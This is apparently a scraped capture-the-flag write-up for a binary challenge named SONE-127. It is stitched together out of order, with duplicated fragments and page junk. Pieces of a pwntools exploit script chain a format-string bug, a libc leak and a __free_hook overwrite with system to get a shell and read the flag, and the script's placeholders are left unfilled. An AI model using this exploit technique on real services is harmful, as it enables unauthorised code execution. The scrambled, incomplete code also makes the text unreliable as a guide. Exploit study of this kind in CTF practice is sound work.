| Loading... |
| Error |
from pwn import *
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6..., stripped PIE: No, RELRO: Partial, Stack: Canary found, NX: Enabled, PIE: No, RPATH: [] 3.1 Interaction > help Commands: echo <msg> - Echoes back the message calc <expr> - Evaluates a simple arithmetic expression upload <filename> - Upload a file to the server download <filename> - Download a file from the server exit - Quit The only interesting command is echo . Sending a long string revealed an unintended format‑string :
if __name__ == '__main__': main()
printf(user_input); Using objdump -d sone127d | grep -i printf : SONE-127 2021
target = free_hook low = target & 0xffff high = (target >> 16) & 0xffff
# Load the exact libc version used on the server (provided by the challenge) libc = ELF('libc-2.31.so')
def main(): io = remote(HOST, PORT)
# Build the format string payload = b'A'*8 payload += f"%lowc%8$hn".encode() payload += f"%diffc%9$hn".encode() payload += b'B'*8 payload += p64(free_hook) # 8th argument payload += p64(free_hook + 2) # 9th argument
%addr_lowc%8$hn%addr_highc%9$hn Because the target address ( __free_hook ) is 8‑byte aligned, we split it into two 2‑byte halves and write with %hn (write 2 bytes).
# Trigger free -> system io.sendlineafter(b'> ', b'download sh.txt') io.interactive() from pwn import * ELF 64-bit LSB executable,
libc_start_main_ret = 0x7f5c1a2b2e30 offset_start_main_ret = 0x21b10 # from libc-2.31.so libc_base = libc_start_main_ret - offset_start_main_ret Running the script yields libc_base = 0x7f5c19000000 (example; actual value varies per instance). From the known libc-2.31.so (downloaded from the official Ubuntu repository):
def get_shell(io): # Upload a file containing /bin/sh io.sendlineafter(b'> ', b'upload sh.txt') io.sendlineafter(b'Enter size: ', b'8') io.send(b'/bin/sh') io.recvuntil(b'> ')
# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base) From the known libc-2
> download sh.txt /bin/sh $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ cat /flag.txt FLAGSONE_127_2021_4c7f5b Success! #!/usr/bin/env python3 # -*- coding: utf-8 -*-
# 1️⃣ Leak libc libc_base = leak_libc(io)